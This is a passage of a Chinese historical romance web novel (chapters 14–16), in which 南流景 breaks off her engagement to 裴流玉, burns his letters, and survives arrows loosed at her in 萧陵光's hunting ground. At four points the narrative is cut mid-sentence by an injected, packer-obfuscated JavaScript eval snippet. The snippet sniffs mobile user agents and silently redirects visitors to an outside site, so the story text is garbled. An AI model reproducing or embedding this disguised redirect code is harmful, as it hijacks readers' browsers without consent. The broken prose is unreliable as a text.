裴松筠的手指轻叩着扶手,缓声道,“并非我不肯答应你。而是这玉髓草,我闻所未闻。世间究竟有没有,也尚未可知。即便真的有,没个三年五载,恐怕也寻不得……” “一年。” 南流景斩钉截铁地打断了他,“裴氏门庭赫奕、手眼通天,我只等大人一年。” “若是一年之后,这玉髓草还是没有寻到呢?” 南流景掀唇,忽地轻笑一声,“裴松筠,若你如此无能,那就莫要怪我再回到七郎身边了……” 她踱步过来,双手搭上圈椅的扶手,居高临下地望着裴松筠。 雪松的香气扑面而来,她克制着晕眩和额间突突跳动的疼痛,倾身靠近,在裴松筠耳畔笑道,“大人既然相信,我有让裴流玉死心的本事。那就该相信,我也有的是手段叫他回心转意。” 语毕,她慢慢退开。 裴松筠唇畔噙着笑,一瞬不瞬地凝视着她。那双眼眸里的笑意和温柔都浮于表面,浅薄得没有丝毫感情,可在迷离的烟雨里,却还是莫名生出一种深情缱绻的假象。 半晌,他点了点头,“成交。” 真真切切地听到这两个字后,南流景心里绷着的那根弦才一点点松了下来。 紧张如潮水般褪去,她后知后觉地感受到疲惫、倦意,还有一丝说不清道不明的怅然,好似整个人被掏空了,轻飘飘的站都站不稳。 孱弱与软弱一字之差,却总会叫人混淆。 南流景憎恶自己的病躯,此刻尤甚。 “天色已晚,还请大人多收留我一夜,明日我再随你去见裴流玉……” 她不再与裴松筠对峙,转身绕过屏风。目光自书斋门口一扫而过,忽地定住。 天光如墨,风雨大作。 书斋的门完全敞开着,一道青色身影不知何时出现在门外,静静地立在挟雨惊风中,袖扬衣飞,浑身湿透,身后是一片修长挺拔、微微颤动的竹枝。 南流景眸光微缩,僵立在原地。 与此同时,裴松筠从她身边擦肩而过,留下一句,“夜长梦多,就今日吧。” ……老奸巨猾,阴险狡诈,卑鄙无耻! 南流景微微攥紧了手,目光甚至不敢往裴流玉的脸上多扫一眼,只能死死盯着裴松筠撑伞离去的背影,恨得怒火中烧、瞋目切齿,好一会儿才平静下来。 也好,也好。 既然已经做出了决定,裴松筠这一手也算 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17041293|194689||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是帮她开了个好头…… 裴松筠离开后,裴流玉走了进来。 他身上还是进宫的那袭青色衣衫,只是被雨水淋湿,洇得颜色更深。发间虽束着玉冠,可却被风雨吹得有些凌乱,细碎的发丝湿漉漉垂在额前,走近时还能看见有雨珠滴滴答答地落下,落在他憔悴的、木然的脸上。 “兄长今日才解了我的禁足……” 裴流玉走过来,在距离南流景一步开外的地方站定,没再靠近,“他们都同我说你失踪了,但我猜到,肯定和兄长有关系……” 他没有第一时间质问她,甚至都没有提方才听到的那些话,只是低声问道,“你这几日一直被困在这里?兄长可有为难你?他安排人照顾你了吗?今日又带你去了何处?” 南流景对上那双墨黑无光的眼眸,到底还是有些心软。 她从袖中拿出一方绢帕,递到裴流玉面前,轻声道,“先擦擦吧。” 裴流玉看着她,没有动。 “……” 南流景抿唇,往前走了一步,替他擦拭额前凌乱的湿发和脸上的水迹。 裴流玉忽然攥住了她的手腕,眼里幽幽地亮起了一丝光点,而且那光点越来越亮,直到彻底照亮整双眼睛,驱散了阴沉沉的浊意。 “妱妱,刚刚那些话我都听见了……但我知道,你也是被兄长逼急了,除了委曲求全、别无他法……” 手腕被扣着的力道越来越重,南流景尝试着挣了一下,却被裴流玉又拉得更近了些。 “我不会将那些话当真的,你也忘了吧……” 他额前垂着湿发,眉宇间氤氲着化不开的湿意——落拓、狼狈、且可怜,可偏偏眼神却是格外坚定的,甚至是有些魔怔的,“你就当从未来过这间书斋。” “不行。” 南流景终于将自己的手抽出来,摇了摇头,“我已经答应你兄长了。” “可你也答应了我!” 裴流玉一瞬不瞬地望着她,或许是因为禁足多日的缘故,他的脸上少了圆润,轮廓变得愈发锋锐,锐利得几乎要刺伤她,“妱妱,你要为了兄长背弃我吗?” 南流景避开他的目光,“我为的是我自己。流玉,我不愿再为这桩婚事提心吊胆,也不想再被牵扯进你和寿安公主的那些恩怨里了。比起裴七郎的夫人,我更想安安稳稳地做南流景……” “只是因为这些原因吗?” 裴流玉反问。 屋外闪过的电光在他眸底窜动,这是南流景第一次在裴流玉身上察觉到压迫感。 “妱妱,贺兰映不是第一日刁难你,裴氏宗族和我爹娘从前也阻挠过你我结亲,那时你都没有想过要离开我,偏偏兄长一回来,你就变了心意……” 裴流玉强自按捺着,可在嗅到南流景身上沾染的那股浅淡松香时,眼眶却又倏地红了。 他闭了闭眼,喃喃道,“棒打鸳鸯,从来拆不散真正的有情人,能被拆散,无非是情淡意驰。几日不见,你便对我如此决绝,想必是已经将我从心里剜得干干净净……那空出来的位置,又留给了谁?” 顿了顿,裴流玉石破天惊地吐出一句。 “妱妱,你可是喜欢上了兄长?” 14.骗子 急雨瓢泼,春雷轰然在院中炸响。 但裴流玉的话语甚至盖过了雷声! 喜欢上裴松筠? 南流景瞬间毛骨悚然,有些惊骇地往后退了两步,“你知不知道自己在说什么?!” 裴流玉红着眼,自嘲地笑了一声,“不论是样貌、气度,还是才学,兄长都远胜于我。只要我同他站在一起,旁人眼里便只能看见裴氏三郎。建都里那么多女子,与兄长仅仅有过一面之缘,便倾心于他、非他不嫁的,大有人在……” 南流景只觉得荒谬可笑,“裴松筠便是比你强上百倍千倍又如何?我怎么可能,怎么可能……” 她连喜欢二字都说不出口。 裴松筠与她,分明是你死我活、险些要了对方性命的关系! “你怎么会这么想?” 她不可置信地。 “妱妱,从前你是全心全意看着我一个人的……” 回想起方才裴松筠离开的那一幕,回想起南流景追随他的眼神,裴流玉齿间漫开一丝腥甜,声音里有愤怒、委屈,还有一丝迷惘。 “可是刚刚你同旁人一样……眼里只有裴三郎,再无裴流玉。” 书斋内静了许久,就连雨声也渐渐弱下。 南流景怔怔地杵在原地,神魂却不知飘到哪儿去了。 她想了很多,思绪有些乱。 她明明是要和裴流玉了断的,可是怎么又莫名其妙和裴松筠扯出了一段情?裴松筠方才离开时,一脸的胜券在握,若此刻知道裴流玉将一切归咎于她移情别恋,而变心的对象还是他这个兄长,也不知算无遗策的他会作何表情…… 这么想着,南流景险些都要冷笑出声了。 一个恶劣的、报复的念头,忽然就像火苗一样,从心底里窜了出来——干脆就这么承认吧,既能叫裴流玉死心,也能背后摆裴松筠一道。 她不好过,裴松筠也别想好过! 南流景深吸一口气,跃跃欲试地启唇,“我……” 刚说出一个字,手臂忽然一紧,她被带得往前趔趄一步,整个人撞进了裴流玉的怀里。 “妱妱……” 裴流玉的手臂用力地环住了她,闷堵在喉口的声音有些懊悔,“方才那些话,是我说错了……你就当作没听过,好么?” 南流景一愣,准备好的话闷堵在喉口。 “你不要答应兄长。他许诺你的事,我也都可以做到……若我还有哪里做得不够好,叫你灰心,叫你难过,你通通告诉我,我改,好不好?” 裴流玉也没有给她回答的机会,而是将她箍得更紧,“就算你眼里只有裴三郎,没有裴七郎,也没有关系……兄长不在的时候,能不能再看看我?” 春衫单薄,裴流玉身上的温度源源不断地透过湿濡的衣料传来,如一团炽烈的火焰,将南流景整个人包裹其中,熏得她脸上也热意上涌。 而那只扶住她后颈的手掌,牢牢地掌握着她,手指轻轻勾着她的发丝,一下一下地收紧、松开,好似在告饶,又像是在诱哄…… “妱妱,你别舍弃我……” 裴流玉低声吐出一句。 与此同时,好像有什么滴落在南流景的肩上,打湿了她的衣衫,蜿蜒着往下淌去,从最初的炽热变得冰凉,又化为乌有,可那濡湿的触感却像是死死烙印在了她的身上…… 冰消雪融,春水骤暖。 南流景呼吸顿滞,闭了闭眼。 良久,她才抵着裴流玉的肩膀,用力推开。 “棒打鸳鸯,从来拆不散真正的有情人……” 她将这话又重复了一遍,然后轻轻点了点头,“七郎,这句话你没有说错,你说得很对。” 裴流玉脸色微变,刚想开口说些什么,却被南流景打断。 “七郎,先听我说吧。我骗了你很多事,如今得一桩一件地说清楚。” 裴流玉呆住。 “第一件,我没有失忆。” 南流景低垂着眼,没有看他,“你从死人堆里将我救出来时,我并没有失忆,我知道自己的身份,知道自己的来处。之所以谎称失忆,只是怕你打发我离开。” “第二件,就是我的出身。自记事起,我就是一个药奴,甚至在奴婢里都是最低等、最卑贱的那个。” “也正是因为那些虎狼之药毁了我的身子,才叫我如今动辄发病。江郎中说我是娘胎里带出的弱症,其实是试药留下的毒症。这是骗你的第三件。” 裴流玉眉头紧蹙,忽地打断了她,“所以你要玉髓草,是为了解毒?” “对。” “为何这也要骗我?” “哪个好人家的姑娘会有一身毒症?” 南流景苦笑,“若叫你知晓,难免会怀疑我的身份。至于你兄长……我做奴婢时,曾奉主家之命,为他侍酒。可我冲撞了他,他亲手扼杀我。然后,我便从坟堆里爬出来,遇见了你……” 在裴流玉震愕的目光下,她解释道,“所以,我绝不会对你兄长动情。” 一番话说到这里,南流景几乎失去了所有气力。可是还没结束,还有一件最要紧的事—— “最后一件……” 她抬眼看向裴流玉,缓缓道,“我不愿意。” 裴流玉神思恍惚,蠕动着唇,“……什么?” “若我当初没有落难,没有失忆,你于我也没有救命之恩……” 朝云院的树荫下,相拥着坐在贵妃榻上的一双人。 裴流玉问,若没有救命之恩,她还愿不愿意嫁给他? 南流景回答了愿意。 同样的问题,她现在才告诉他真实答案。 “我不愿意嫁给你。” 话音既落,裴流玉脸上的血色顷刻间褪了个干净。 南流景看着他,恍然想起了当年那个将她带回玄圃的少年…… 其实那时的南流景从没有奢望过什么。她只想着在玄圃留下就好,至少不用担心被原来的主家逮回去,不必再过那暗无天日、生不如死的日子。 她也懂知恩图报的道理,身上的伤好得差不多后,她就打算在玄圃里做些事,报答裴流玉的救命之恩。 可人算不如天算,她没想到自己的身子竟病弱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17045954|194689||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 成这种地步,动辄就要请大夫诊脉调方。日久岁深的,不仅报恩没报成,欠下的债还越来越多…… 知道自己的汤药里都加了什么灵药仙草后,她连药都不敢喝了。 裴流玉发现后,头一次对她发了脾气。 「你记这些账做什么?打算还清了就与我一刀两断是不是?」 他翻出了她那本厚得能砸死人的账簿,气得直接撕碎了,丢进墨池里。 ……老天爷,根本不可能还清啊。这辈子,下辈子,下下辈子都还不清。 「你总将救命之恩挂在嘴边,难道不知旁人都是以身相许的?」 「妱妱,你若想报答我,何需什么金山银山?我只要你这个人。」 她无法拒绝。 除了以身相许,她确实也没有什么能给裴流玉的了。 再后来,也不知裴流玉和南氏私下是如何商谈的,总之在他们的安排下,她被神不知鬼不觉地送进了南府,成了南府自幼病弱、养在庄子里从未露过面的南五娘子…… 所以,没有裴流玉,就没有南流景。南流景的存在,本就是为了嫁给裴流玉。而现在,她却要顶着这个身份过河拆桥,另觅出路。 当真是可恶、可恨、可憎啊! “这些年你对我,就真的只有恩情,从没有一刻动过心?” 裴流玉声音低哑,尾音甚至有些颤抖。 南流景回过神。 记忆里那张意气风发、美好得没有一点忧愁的俊朗面容,像是被一记重锤狠狠击碎,变成了此刻失魂落魄的模样。 南流景双手攥紧,掌心出了些汗,面上却仍是平静的,“你是我的救命稻草,是我的如意郎君,但从来不是我心悦之人。” “……” 裴流玉唇瓣微动,却没再发出任何声音。 他眼底深处一片荒芜,踉跄着后退了两步,最后看了她一眼,头也不回地冲出书斋,消失在了雨雾中。 南流景像是被钉在原地,一动不动地僵持了好一会儿,才慢慢地走到书斋门口。 雨丝斜入廊下,将她的衣衫打湿,她却没有躲避。 隔着竹林,她看见有一艘乌篷船从水畔驶离。 南流景疲惫地靠着门框坐下来,双手抱住了自己的膝盖,将脸埋在双臂间。 结束了…… 总算结束了…… 其实她原本没想将话说到这个地步。 尽管答应了裴松筠,要让裴流玉死心,可她也不能不给自己留后路。她最后同裴松筠说的那番话,并非是玩笑,一旦裴松筠不能帮她寻得玉髓草,她是真的会腆着脸回来求裴流玉。 既然抱着这个念头,她自然要拿捏分寸。 什么话可以说,什么话绝不能说,她心里很清楚。 可听见裴流玉将自己贬低得一无是处,听见他求自己不要离开的那一刻,她心里却仿佛有什么破土而出,以不可思议的速度生根、发芽…… 她不知道那是什么情绪,也不知道意味着什么。 她只知道,她配不上裴流玉,她不能再做一个毫无破绽的骗子了。 15.焚毁 南流景消失了三日,南家遍寻不得。就在他们终于打算差人报官时,南流景却毫发无伤地被送回了朝云院。 “五娘,你这几日究竟去了哪儿?” 南氏夫妇先是松了口气,随即便是一连串的追问,“你与何人待在一处,身上可有受伤?” “您二位在说什么?” 南流景缓声道,“我前几日心情烦闷,便去了庄子上小住。临去前不是叫伏妪告知母亲了么?看来竟是她忘了。” “……” 南氏夫妇面面相觑,明白南流景这是要将此事轻飘飘揭过的意思,于是便也不再追问了。 待南家的人离开,伏妪和江自流才围到了南流景身边。伏妪一个劲地自责,江自流则是默不作声地替她把脉。 “旁人有意设局劫我,你能怎么阻拦?” 见伏妪面露惊恐,南流景安抚道,“不过我真的一点事都没有,吃得好睡得好,不信你问她。” 江自流收回手,神色微妙,“的确没有大碍。所以你现在被全须全尾地送回来,是事情解决了?” 南流景点了点头,“寿安公主应该不会再置你于死地。还有,一年之内会有人帮我寻得玉髓草。” 江自流愣住,一时间有很多问题想问,可最后却只问出一句,“那裴流玉呢?” “……” 南流景移开视线,吩咐伏妪,“去将我与裴家七郎来往的那些书信,还有他送我的一些信物,都整理出来吧。” 伏妪还在状况之外,不明所以地照做了。 不一会儿,便有两个匣子被端到了南流景面前。匣盖掀开,一个呈装得全是信笺,另一个则大多是玉佩、扇坠、同心结之类的,漱雪庐的信物也放在最上头。 “将这些信物送去裴家。” 南流景合上匣盖,交给伏妪,又嘱咐道,“动静小一些,莫要直接交给裴流玉,叫人转交给裴松筠就好。” 伏妪面露错愕。 “去吧。” 打发走了伏妪,南流景才又拿起另一个匣子里的书信,朝桌上的烛台凑过去。 “你当真舍得?” 江自流终于忍不住出声。 南流景动作顿了一下,可窜动的烛火还是烧上了信纸一角,火舌迅速地吞噬而上。她眨了眨眼,直到火焰快要灼伤手指,才一抖手腕,将它丢进渣斗里。 “我听过一个典故。” 她说道,“昔年虞叔有美玉,虞公求旃,虞叔惧而献之。” 江自流不解地,“什么?” “我这个人,能拥有的东西本就很少,不能太贪心了。美玉自然好,可也只有富家巨室才配争抢。裴流玉于我,恰如匹夫怀璧……” 南流景摩挲着发烫的指腹,问道,“舍不得的话,难道要引火烧身吗?” 江自流哑然失语。 南流景继续拿起匣盒里的书信,点燃后丢进渣斗。很快渣斗里便燃起了一簇火,烧焦的灰屑也从里头飘出来,呛得她鼻梁一酸,眼眶也随之泛红,控制不住地掩面轻咳了两声。 江自流默默离开,带上了屋门。 南流景独自一人在屋子里烧完了裴流玉写给她的所有书信,直到匣盒见了底。 她伸手探了探,触碰到匣底便收回了手,打算将空匣盒收起来。可双手将匣盒一端,她却觉得重量不大对。按照这匣盒的大小、木料,似乎不该这么沉。 南流景又仔细对着盒底看,果然发现了蹊跷。她伸手往匣底推了两下,竟是揭开了一个暗格,而暗格里赫然躺着一本册子。 南流景微微一怔,伸手将那册子拿了出来。 她有些记不得这册子是用来做什么,又何时藏进匣盒里的了,但偏偏在看见的第一眼,她就很确信这是自己的册子。 这册子似乎在匣盒里放了许久,一翻开,甚至有些特殊的气味。 南流景拈着册子一角抖了抖,才重新翻开。 果然,纸上那手歪歪扭扭、没有筋骨的字迹,一看就出自她的笔下。至于纸上的内容…… 「郎君今日携了笔墨教我习字。 我连笔都握不稳,字写得好似雨后蚯蚓,蠕蠕而动。郎君笑话我,戏言猫爪按出的墨团都比我的字更有灵气。 我气不过,便指使猫儿在他素白的袖袍上踩了好几个爪印…… 灵气,灵气!叫他有灵气!」 南流景捏着纸页一角,动作顿住。 这竟然是她的手札!是她记下与裴流玉过往的手札! 她咬了咬唇,又往后继续翻。 「前日出门,我看孩童荡秋千看得走不动道。今日,郎君便吩咐人在院中扎了个秋千。 幼时不可企及的念想,终得圆满,我心甚悦! 我在秋千上耗了半日,甚至还站上去荡了几下,可惜被郎君瞧见。郎君说,若我再敢踩上去,就将秋千拆了…… 不理他,我会悄悄踩。」 「今日站秋千上被郎君发现了,郎君要拆秋千,我不肯。我拦在秋千前,让他先拆我。 郎君铁石心肠,罚我十遍千字文。我最怕抄书,问他可有别的法子替代,郎君说替他绣荷包,可免五遍千字文。 针线活比抄书更可怕,我选抄书。 郎君眉开眼笑,但我知道,这是他生气前的预兆。果然,他罚我抄二十遍千字文…… 没关系,我不信他会一页一页数。」 往后一翻,下一页只有一行字,透着绝望。 「他真的数了。」 南流景自己都忍不住笑了。 笑着笑着,她又有些感慨。她与裴流玉从前在玄圃相处时,还有这么多有意思的小事么,她怎么都记不清了? 这么看来,她当真是个凉薄的人。当年会一字一句地将这些事记在手札上,收在暗格里,可才多久的功夫,也就忘得一干二净了…… 南流景敛去了唇边的笑,抬手想将那手札丢进渣斗的余烬里,可犹豫再三,竟还是收回了手。 手札被重新放回了匣盒的暗格,连同那些藏于字句里的懵懂春心。 - 得知寿安公主不会再追杀自己的消息后,江自流在朝云院里便有些坐不住了。连着两日在南流景跟前试探,一会说要回永福巷取些药材,一会说南城还有几个病患等着她救治。 尽管已经得了裴松筠的承诺,可南流景还是不肯松口。 放过江自流是一回事,可她若在贺兰映眼皮子底下招摇过市,那又是另外一回事。 “你想回永福巷也可以。” 南流景朝她摊开手,“给我一幅药,我先把你毒哑。” “……你好狠毒。” 江自流不敢在她面前再提回击南城的事。 翌日,南流景一直没瞧见江自流,便向伏妪问了一嘴。 “江娘子说今日要为女郎琢磨个一劳永逸的新方子,所以把自己关在厢房,不叫任何人打扰……” 玉髓草还没找到,哪儿来什么一劳永逸的新方子? 南流景知道有蹊跷,去厢房外头敲门唤人,迟迟没有回音后,直接叫人撞开了房门。 果然,厢房里空无一人。 南流景笑了一声,吩咐伏妪,“去帮我找根棍子来,对了,还要锁链。” “女郎要这些做什么?” 伏妪一脸惊骇。 南流景轻描淡写地,“等人回来,把腿敲断了锁屋子里。” 伏妪的神色愈发骇然。 棍子和锁链都准备好了,南流景却没等到江自流回来,而是等到了一张字条。 “这是方才被一支弩箭钉在南府后门的!” 传信的小厮吓得不轻,“弩箭上还挂着这枚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17050858|194689||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 香包。” 绣着江崖海水纹的香包,散发着药草苦涩的气味,是江自流日日佩在身上的物件! 南流景心中不可遏制地一颤。 她第一反应是贺兰映干的,可接过字条一看,眼前的黑雾又慢慢散开了。 「若想救人,叫南五只身前来百柳营。」 “百柳营……” 南流景尚在迷茫中,一旁的伏妪忽地开口道。 “百柳营,那不是龙骧军的校场么?写这字条的人难道是……” 萧陵光? 南流景将字条攥进掌心,神色复杂。 - 城郊百柳营。 一队人马从山林中的猎场疾驰而下,飞沙走石、烟尘四起。 萧陵光身着玄金骑装高坐马上,腰间系着蹀躞玉带,佩以刀剑佩囊。马背上还挂着长弓和刚刚猎到的猎物,猎物一路滴着血,更是衬出了几分冷酷狠戾。 烟尘散去,一个龙骧军的将士出现在前方,身后还跟着个一袭素衣、头戴纱笠的女郎。 萧陵光扯着缰绳的手一紧,然后绕着那女郎停了下来,其他人自觉地退开了一段距离。 “郎君之物,今日特来奉还。” 南流景拿出一匣盒,低眉垂眼,双手呈上。 萧陵光的目光似乎在打量她,却迟迟没有伸手来接,“是什么?” “是郎君的护臂。” 南流景低声道,“那日多谢郎君送我回府。我病中神思恍惚、梦魇缠身,若是所行之事、所言之词冒犯了郎君,还望郎君海涵……” 萧陵光终于伸手,那只还沾着猎物血迹的手掌探至她面前,将那呈装着匣盒的护臂接过,然后……信手一掷,仿若丢弃什么污秽之物。 纱帘下,南流景的脸色不大好看,直截了当问道,“敢问萧郎君,怎样才肯放了我的人?” 萧陵光坐在马上居高临下地望着她。那张冷峻的脸逆着光,看不出什么表情,“随我进猎场。” “……” “但凡你今日能射中一只活物,我便放人。” 南流景蹙眉,隔着纱帘与萧陵光僵持了片刻,到底还是应承了下来,“……好。” 一把弩箭被丢到了她脚下。 就在南流景俯下身拾起弩箭时,头顶忽然又传来萧陵光冰冷的声音,“去换身衣裳。” 猎场外的一间营帐里。 一袭红白色的翻领窄袖胡服已经备好了,南流景拿起来看了一眼。的确是女子的胡服,却不知合不合身。她又低头,看了一眼自己身上的素色衣裙,袍袖宽大,裙带拖沓…… 罢了,这胡服不论合不合身,应该都比她身上这一件要好上许多。 南流景心事重重地褪下衣裙。 今日相见,萧陵光对她的态度明显与之前不同了。 之前虽冷淡,却还有几分人情味。可今日,他让她觉得危险…… 她思前想后,觉得他多半是已经知晓她与裴流玉了断的事。难道他大费周章地劫持一个江自流,逼她来百柳营,就是为了替裴流玉打抱不平?既如此,又为何善心大发,让她换身衣裳再进猎场? 帐内忽地窜进一阵风,冷飕飕的,吹得南流景后腰处寒毛耸立,顿时收起了乱糟糟的心思。 她匆忙换上那身胡服,双手抱着那沉甸甸的弩箭走出营帐,然后跟着一将士进了猎场。 一进猎场,那人称郎将有令,不许其他人陪同她射猎,将她丢在林中便离开了。 日光被层层叠叠的枝叶遮挡,林间光线暗沉,静谧得有些诡异,甚至连虫吟和鸟鸣都听不见。树木间萦着丝丝缕缕、缓缓游动的薄雾,好似一张正在收束的罗网,将南流景笼罩其中。 她的一颗心砰砰狂跳,下意识抱紧了怀中的弩箭。 下一刻,一道尖锐的破空声猛地从身后袭来。 16.复仇 南流景的瞳孔急剧收缩,血液骤冷。 在她来不及做出任何反应之时,一道寒光挟着凌厉的气势,自耳畔“嗖”地飞过! 尖锐的耳鸣声瞬间盖过所有声响。万籁俱寂里,眼前的一切景象似乎都慢了下来—— 她眼睁睁看着一支利箭从眼角余光里刺入,鬓边垂下的一绺发丝被箭风扬起,触碰到箭头的刹那间,被削断成两截,飘然落下。 箭矢狠狠钉在了几步开外的树干上,发出一声闷响。 南流景猛然回神,双腿一软,跌坐在了地上。 仅仅一瞬的功夫,她额头上陡然冒出一层冷汗。颊边先是冰凉,然后是麻木,最后泛着火辣辣的疼,就好似被冰刀刮掉了一层皮。 她怔怔地望着那支被钉在树上的箭,下意识伸手去碰自己的脸。 出乎意料,没有血迹,也没有伤口。只是被箭风擦了一下,便疼到这个地步,可见这一箭射出来的力道有多刚劲,这一箭的杀意又有多骇人…… “嗖!” 又是一箭射来。 这次南流景的反应还算及时,拼尽全力往旁边一滚,然后飞快地爬起来,往手边的树干后一躲。她急促地喘着气,朝箭射来的方向看去,可却一无所获。 她暗自咬牙,将整个人缩到树干后,扬声呼救。 “来人,来人!救命……” 话音刚落,又是三箭连发,从偏斜的角度射向她。 她大惊失色,双手撑着地往后躲。转眼间,三箭应声而落,一箭钉在她的脚边,一箭钉在她手边,还有一箭钉在她头顶,扎在树干上。 南流景脸色惨白,冷汗涟涟。 她踉踉跄跄地站起身,从三箭围成的囹圄中走出来,然后缓慢地转着身,目光在薄雾中逡巡,镇定发问,“你是什么人?到底想做什么?” 第一箭和第二箭有无杀心,她还不能确定。可刚刚描着她射出的这三箭,却昭告了对方戏耍她的险恶居心。 或许,此人不想再杀她了。又或许,他只是故意叫她窥见一线生机,叫她挣扎逃窜,就好像已经叼住猎物喉颈却不急着一口咬断,而是反复折磨,直到最后猎物彻底失去反抗的气力…… 林间仍旧毫无回应。 南流景握紧了手中的弩,仿佛抓着最后的救命稻草。她平复着呼吸,静静地等着,等着下一箭。 “嗖!” 南流景蓦地循声转身,这次她强行压下了心里的惊惧,克制住了躲避的身体反应,一双眼死死盯着那支羽箭射来的方向。 雾气聚散,在那支箭逼至眼前时,隐在雾后的人终于露出了身形轮廓。电光火石间,南流景双手举起弩箭,毫不犹豫地扣动悬刀—— “嗖。” 弩箭射出去的那一刻,羽箭擦过南流景的衣袖。 她险些被那股劲风带得摔倒,待稳住身形再看过去时,那片雾气已经散了,而她射出去的弩箭就落在草丛里,泛着凛凛寒光。 忽然间,那股一直笼罩着山林的阴森感消失了。如同静音的屏障终于被打破,风声、虫鸣声,还有鸟儿扑扇翅膀的声响,都接二连三地落入南流景耳中。 许久没有下一箭射来,她小心翼翼踩着枯枝,走到了弩箭掉落的位置。 弩箭的箭尖上,沾着一丝血迹。 ……她竟然真的射中了。 “南五娘子。” 一道声音遥遥地唤她。 南流景如临大敌地举起弩,对向来人。 “南五娘子,是我。” 方才替南流景引路的将士走过来,举起双手,“郎将让我带你回去。” 南流景仍是举着弩,双手有些颤抖。见那将士的确没有异色,才慢慢地放下来。 “……方才有人在林间射杀我。” 她哑着嗓音开口。 那将士一愣,似是听到了什么荒唐至极的事,“这怎么可能呢?此处是百柳营,是龙骧军的猎场,军纪严明,戒备森严,歹人断无可能混入此处!娘子是不是被丢在此处,吓糊涂了,所以生出了幻觉?” 南流景垂着眼,点点头,“我明白了。” 将士将南流景带回了营地,客气地请她离开。 “还有一个人。” 南流景不肯答应,“我要带走。” “郎将说,娘子并未赢下今日的赌约,所以……” 南流景斩钉截铁地开口,“我明明赢了。” “……” “带我去见萧陵光。” 片刻后,南流景在大营里见到了正坐着拭刀的萧陵光。 他掀起眼,冷冷地看向她,目光像淬了冰的利刃。而那双修狭的眉眼下,不知何时多了一道血红的、细长的伤口。 看清那道伤口时,南流景的一颗心倏地跌入谷底。 沉默良久,她才抬手,将手里那支弩箭丢到了地上,尽可能平静道,“我有没有射中活物,郎君应该最清楚不过。” 射伤了人,怎么能算没有射中活物? “一言既出、驷马难追,还请郎君放人。” 萧陵光定定地看着她,眼下的血痕泛着腥气,将眼神都染上了几分狠厉。 他一声不吭,仍是用力地擦拭着刀身。俯身坐在那儿时,就好像一只蛰伏的猛兽,蓄势待发。 半晌,却冷不丁吐出一句,“带着你的人,滚。” 得到这句话,南流景本该转身就走。可她转过身,双脚却像是被钉在了原地,迈不开一步。 恐惧、震惊、愤怒和委屈,种种情绪交杂在一起,铺天盖地涌上来,叫她还是忍不住回过头,问出了一句不该问的话。 “萧陵光,我就这么该死吗?” 正如方才那将士所言,这里是百柳营,是龙骧军的地盘,绝不可能有外人闯进猎场行凶。能如此猖狂地在林中放冷箭,又全身而退的,一定是自己人。 她朝那人放了一箭,箭簇上沾了血。而萧陵光此刻坐在这儿,脸上带着新添的锐器擦伤。 这叫她如何相信只是巧合? 眼前这位战功赫赫的建威郎将,这位最受裴流玉信任、连她也被放心托付的至交好友,今日要她的性命竟也是亲力亲为,不假他人之手,甚至事发后在她面前掩饰都不屑掩饰…… 南流景并非毫无心理准备。萧陵光突然要她进猎场,绝不会是什么好事。她想过他会教训自己、给自己难堪,可怎么都没想到他要杀了她! “是因为流玉吗?” 南流景问道,“就因为我当初无路可走,答应以身相许报答他,现在又被所有人威逼利诱,不得不权衡利弊放弃他……所以我就该死吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17054901|194689||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 萧陵光拭刀的动作顿住,目光再次落回南流景身上,冷寂阴鸷。 少女双手紧攥,站在不远处。 那身本该英气利落的红白胡服,此刻沾了不少泥尘,穿在她身上松松垮垮,愈发衬得人单薄纤瘦。 高束起的发丝也没来得及整理,有几绺散下来,凌乱地落在她毫无血色的颊边,既狼狈又脆弱,好似一只被射中翅膀在地里滚过一遭的雀儿。 不知是因为愤怒还是恐惧,她抖得厉害。可即便如此,竟还梗着脖子,一幅倔强的、不甘的模样。 萧陵光眸底晦暗如潮,忽地将手里那把直刀“当啷”一声丢开,然后起身,大步走来。 离得近了,南流景那张苍白却毫无瑕疵的脸孔变得越来越清晰,可映入他眼底时却发生了变化,变成了原本在他记忆里已经模糊的一张脸—— 